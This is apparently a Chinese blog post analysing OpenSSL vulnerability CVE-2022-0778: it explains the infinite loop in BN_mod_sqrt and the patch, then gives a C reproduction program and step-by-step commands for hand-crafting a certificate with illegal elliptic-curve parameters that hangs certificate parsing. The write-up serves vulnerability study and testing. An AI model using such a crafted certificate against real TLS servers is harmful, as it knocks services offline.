本文介绍CVE-2022 0778漏洞及其复现方法,并精心构造了具有一个非法椭圆曲线参数的证书可以触发该漏洞。

本博客已迁移至CatBro's Blog,那是我自己搭建的个人博客,欢迎关注。本文链接

漏洞描述[1]

漏洞出自BN_mod_sqrt()接口函数,它用于计算模平方根,且期望参数p应该是个质数,但是函数内并没有进行检查,这导致内部可能出现无限循环。这个函数在解析如下格式的证书时会被用到:

  • 证书包含压缩格式的椭圆曲线公钥时
  • 证书带有显式椭圆曲线参数,其基点是压缩格式编码的

总之,在解析证书时需要对点坐标进行解压缩操作的就会调用到这个函数。所以外部可以通过精心构造一个具有非法的显式曲线参数的证书来触发无限循环,从而造成DoS拒绝服务攻击。

{% note default no-icon %}

官方补丁commit[2]

{% endnote %}

函数分析

我们先简单过一下这个函数的实现。实现函数签名如下,a是操作数,p是模数

BIGNUM *BN_mod_sqrt(BIGNUM *in, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx)

首先对p做了简单的检查,对p是偶数、1这两个显然不是质数的情况直接报错,对p为2的情况进行了特殊处理。

if (!BN_is_odd(p) || BN_abs_is_word(p, 1)) {
if (BN_abs_is_word(p, 2)) {
// ...
}
BNerr(BN_F_BN_MOD_SQRT, BN_R_P_IS_NOT_PRIME);
return NULL;
}

接下来对a是0或1的特殊情况做了特殊处理

if (BN_is_zero(a) || BN_is_one(a)) {
// ...
}

然后计算A := a mod p,就是计算非负余数

if (!BN_nnmod(A, a, p, ctx))

下面几行的字面意思是从p的第1位开始数有几个连续的0,其实是将|p| - 1表示成如下的格式:|p| - 1 == 2^e * q,即表示成2的幂次方的奇数倍,其中q是奇数。例如p为49,表示二进制是110001,那么e为4,q为3,49 - 1 == 2^4 * 3

    e = 1;
while (!BN_is_bit_set(p, e))
e++;

接下来对e等于1或2的简单情况进行特殊处理,因为不会走到无限循环,我们跳过

if (e == 1) {
}
if (e == 2) {
}

对于e > 2的情况,就需要老老实实用Tonelli/Shanks算法来计算了。首先需要找到一个不是平方数的y,且0 < y < |p|,因为不是重点我们跳过。

接下来计算q的值,将p右移e位就得到了q

 	if (!BN_copy(q, p))
// ...
if (!BN_rshift(q, q, e))

y := (y ^ q) mod p,因为y是个非平方数,所以计算q次方可以得到一个阶为2^e的值。(Don't ask me why ,注释这么写的‍♂️)

if (!BN_mod_exp(y, y, q, p, ctx))

接下来是计算 x := a^((q-1)/2)

 if (!BN_rshift1(t, q))

 if (!BN_mod_exp(x, A, t, p, ctx))

下面两个计算b := a*x^2 (= a^q)

if (!BN_mod_sqr(b, x, p, ctx))

if (!BN_mod_mul(b, b, A, p, ctx))

然后计算x := a*x (= a^((q+1)/2))

if (!BN_mod_mul(x, x, A, p, ctx))

终于要进入我们最关心的循环结构了,这里有两层循环,死循环是发生在内层的循环中。我们来看下修改前后的代码的区别,下面的是有问题的循环代码:

// before
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}

这个是修复后的循环代码:

// after
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}

乍一看好像没什么区别,只是把while循环改成了for循环。区别非常细微,主要有两点:

  1. 结束循环的判断条件不同,前者是判断t是否为1来正常结束,在循环内判断i == e来异常结束;而后者是判断i < e来异常结束,循环中判断t是否为1来正常结束
  2. 还有非常重要的一点区别,就是前者i为1的情况并不在循环中

问题就是由于这点细微的区别产生的,考虑这样一种情况,如下内层循环一开始e就小于等于i(比如e=1),那么i == e条件将永远不会满足。如果再使得t永远不等于1,那么就会进入死循环了。

对于第一次进入外层循环,e肯定是大于2的,不会进入死循环,但是别忘了在外层循环最后会把i赋值给e,如下所示:

 while (1) {
// ...
for (i = 1; i < e; i++) {
// ...
}
/* t := y^2^(e - i - 1) */
if (!BN_copy(t, y))
goto end;
for (j = e - i - 1; j > 0; j--) {
if (!BN_mod_sqr(t, t, p, ctx))
goto end;
}
if (!BN_mod_mul(y, t, t, p, ctx)) // y := t^2 = y^2^(e-i)
goto end;
if (!BN_mod_mul(x, x, t, p, ctx)) // x = x*t
goto end;
if (!BN_mod_mul(b, b, y, p, ctx)) // b = y^2^(e-i) y is the original
goto end;
e = i;
}

所以结合这些条件,就可以尝试构造出能够进入死循环的攻击方式:

  1. 挑选合适的a和p,使得b^2=1(mod p),其中b是由a计算出来的,这样外层循环在第一次迭代时不会进入while内层循环,i的值就为1,于是外层循环第二次迭代时e就变成了1
  2. 外层循环进行第二次迭代时,只要使得t != 1 (mod p)永远满足,就会进入死循环了

注意:第1个条件在p为正常的质数时也是会发生的,但如果p是合数那么第二条也将满足。

复现问题

要复现问题,其实就是挑选合适的参数a和p使得上面的条件成立。p的选取需要能够满通过函数前面的一些检查,不能是太明显的合数,必须是奇数,且e需要大于2,即二进制表示的p必须是…001形式。此外a的选取需要满足a == -1 (mod p)b == -1 (mod p),这样在第一次外层迭代后e就会设为1,使得第二次进入外层迭代进入死循环。

确定a和p需要一定的数学知识,需要了解Tonelli/Shanks算法的实现。我不是学数学的,没学过数论那些东西,所以要完全了解其数学原理需要花些时间。好在drago-96同学帮我们做了这个事情,他最终选取了p=697,a=696这个组合。有兴趣的可以看一下数学说明[3]

有了a和p,然后写一个简单的测试程序就可以复现问题了

#include <openssl/bn.h>

int main() {
BN_CTX *ctx;
ctx = BN_CTX_new();
BIGNUM *res, *a, *p;
BN_CTX_start(ctx);
res = BN_CTX_get(ctx);
a = BN_CTX_get(ctx);
p = BN_CTX_get(ctx); BN_dec2bn(&p, "697");
BN_dec2bn(&a, "696"); printf("p = %s\n", BN_bn2dec(p));
printf("a = %s\n", BN_bn2dec(a)); BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
printf("%s\n", BN_bn2dec(res)); return 0;
}

对于修复前的代码,程序执行后会进入死循环

$ ./sqrt
p = 697
a = 696

而修改后可以正常结束。

$ ./sqrt
p = 697
a = 696
0
$

构造非法证书

接下来我们来尝试构造一个非法的证书,使证书带有显式椭圆曲线参数,且基点是压缩格式编码的。然后我们将证书中曲线参数修改成我们想要的值。

创建一个正常的带显式曲线参数的证书

首先我们需要创建一个ec密钥,因为我们想要证书中包含显式的曲线参数,所以我们在生成密钥时也选择带显式参数

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

接着为了方便起见,我们直接自签发一个证书。这里将输出格式设为DER也是为了方便我们后面的修改ASN1结构。

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

确认一下证书信息,其中包含了曲线参数信息:

$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...

其中的Prime、A、B、Generator就是我们需要修改的目标参数。那么我们应该将其改成什么呢?然后又通过什么方法进行修改呢?

构造非法证书

首先,在实际动手我们先需要搞清楚这几个值是什么意思、需要满足什么关系。定义在有限域上的椭圆曲线满足如下方程

\[y^2 \equiv x^3+ax+b\quad (mod\ p)
\]

其中的a就是曲线参数A,b就是曲线参数B,p即为曲线参数Prime,a、b、p参数确定了一条椭圆曲线。解压缩点坐标就是根据x坐标来计算y坐标,从上面的公式可以看到这需要用到求平方根的运算:

\[y=\sqrt{x^3+ax+b}\quad (mod\ p)
\]

我们沿用之前使用的697/696组合,即此时 p = 697,\(x^3+ax+b=696\)。我们只要选择合适的a、b、x是后面那个等式成立就可以了。

我们令x=8,a=23,b=0,等式成立。

接下来就要着手修改我们的证书,徒手修改ASN1结构真的是要了我的老命,大家如果知道有什么方便的工具还请不吝赐教。因为这部分还没法自动化(至少目前没有),所以我就讲一下大概修改的方法。用到的工具主要是xxd转成hex格式进行编辑,完成之后再xxd -r转回去。

  1. 你需要修改Prime、A、B、Generator4个目标字段的值

    1. 其中Prime为697,即十六进制的02b9
    2. A为23,即 十六进制的17
    3. B为0
    4. Generator的x为8,又因为是压缩格式,将其改成十六进制的020008(或030008)
  2. 因为ASN1是嵌套的结构,所以修改了内层长度之后,你还需要把外层的所以长度都进行相应的修正,这是个体力活。
  3. 另外OpenSSL代码中会对ASN1_INTEGER进行padding格式的检查,所以Prime值的前面不能多余的0字节,所以我们必须修改Prime的长度
  4. 而且OpenSSL还会对检查点字符串长度与Prime的长度的关系(对于压缩格式,点字符串的长度需要比Prime长度多1),这也是为什么我们将Genrator设置成030008,而不是0308的原因
  5. 还有注意一点,就是xxd -r转回去之后可能会在文件末尾添加一个0a换行,你需要将其剔除。方法有很多,其中一种就是使用split命令。

我们先来看下证书的ASN1结构,划红线的部分都是我们需要修改的部分

$ openssl asn1parse -in cert.der -inform DER -i

Prime、A、B、Generator的目标值上面已经说了,相关长度的修改前后的值已经列在下表中了:

from(dec) from(hex) to(dec) to(hex)
549 225 488 1e8
460 1cc 399 18f
266 10a 205 cd
227 e3 166 a6
215 d7 154 9a
44 2c 13 0d
33 Prime 21 2 02
33 Generator 21 3 03

具体的修改过程如下,其中编辑文本的步骤已省略:

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new

到这里我们的证书就构造好了,现在来看看修改后的ASN1结构:

$ openssl asn1parse -in cert.der.new -inform DER -i

划红线的部分都已经被我们修改了,且证书的ASN1编码是正常的。

使用非法证书测试

OK,现在我们来解析这个构造的非法证书试试,不出意外的话就会进入无限循环了。

openssl x509 -in cert.der.new -inform DER -text -noout

可以看到openssl进程的CPU占用是100%,且调用栈是在BN_mod_sqrt()函数之中。

如果恶意攻击方在与服务器进行SSL握手时使用类似这种精心构造的证书的话,服务器就会进入死循环,从而造成DoS攻击。

构造的证书以及中间过程产物已经上传Github[3:1]仓库,有需要的可以自行获取。

参考材料


  1. CVE-2022-0778 Detail

  2. Patch commit

  3. catbro666/CVE-2022-0778

OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造的更多相关文章

  1. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  2. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

  3. JBOSS中间件漏洞总汇复现

    JBOSS中间件漏洞总汇复现 JBoss JMXInvokerServlet 反序列化漏洞 漏洞复现 直接使用docker搭建的漏洞环境. 环境搭建完成后,直接使用工具检测即可:工具下载地址https ...

  4. ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...

  5. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  6. Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现

    Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 一.漏洞描述 该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的java消息服务(JMS)Objec ...

  7. CVE-2019-0708漏洞利用复现

    CVE-2019-0708漏洞利用复现 距离这个漏洞爆出来也有好几个月了,之前一直忙也没来得及写文档,现在重新做一遍. 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 ...

  8. MS17-010漏洞利用复现

    MS17-010漏洞利用复现 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 IP地址:172.16.15.50 首先我们需要查看一下靶机是否开启445端口 打开kal ...

  9. CVE-2020-7245 CTFd v2.0.0 – v2.2.2漏洞分析复现

    CVE-2020-7245 CTFd v2.0.0 – v2.2.2漏洞分析复现 一.漏洞介绍 ​ 在 CTFd v2.0.0 - v2.2.2 的注册过程中,如果知道用户名并在 CTFd 实例上启用 ...

随机推荐

  1. Docker创建私有镜像仓库

    Docker官方提供了一个工具docker-registry,可以借助这个工具构建私有镜像仓库: 1.拉取registry镜像 # docker pull registry//可以使用 docker ...

  2. (一)什么是Rabbitmq

    1.初识MQ 1.1.同步和异步通讯 微服务间通讯有同步和异步两种方式: 同步通讯:就像打电话,需要实时响应. 异步通讯:就像发邮件,不需要马上回复. 两种方式各有优劣,打电话可以立即得到响应,但是你 ...

  3. ssh 主机之间免密配置脚本

    文章目录 单向免密 `expect` 免交互 `sshpass` 免交互 相互免密 单向免密 expect 免交互 注意修改脚本内的 your_password 为 远程主机用户的密码 脚本内的 &q ...

  4. 通过shell脚本统计elasticsearch indices每天的数量以及大小

    前情提要: 最近elasticsearch集群总出问题,之前虽然修复了,现在又出现新的问题,于是PM要求拉取elasticsearch每天建立的索引有多少,索引有多大,需要对机器进行评估 客户现场无法 ...

  5. Spring Boot 热插拔技术应用

    对Spring/Spring Boot使用频繁的开发者,应该常见在应用Application上加@EnableXXX类似的注解.其实这个@EnableXXX的注解就是热插拔技术,加了这个就可以启动对应 ...

  6. GMP

    目录 GMP 含义 模型 状态汇总 G状态 P的状态 M的状态 调度场景 总结 GMP 含义 Goroutine的并发编程模型基于GMP模型,简要解释一下GMP的含义: G:表示goroutine,每 ...

  7. ctf linux 基本命令

    从网站上下载一个tar.gz的安装包,在linux下解压缩. 获得一个flag的二进制文件. 通过linux的grep命令搜索到key. grep命令参数中文说明

  8. [题解]第十一届北航程序设计竞赛预赛——A.模式

    题目描述 输入一个学号,判断是计算机系or软件学院or其他院系. 解题思路 水题,直接判断or除以10000都可以.不废话,直接上代码. 1 #include <iostream> 2 # ...

  9. 大数据分析用自助式BI工具就能轻松解决,so easy!

    之前老板给了我一个任务,让我赶紧学习一下大数据分析,下个季度就要用. 赶紧看了一下日历,这离下个季度还有不到半个月的时间,而且我还没有数据分析基础,该怎么能在这么短的时间内学会大数据分析呢-- 经过多 ...

  10. MySQL创建表、更改表和删除表

    1.创建表 mysql> create table t_address( -> id int primary key auto_increment, // 设置id为主键,自动增值 -&g ...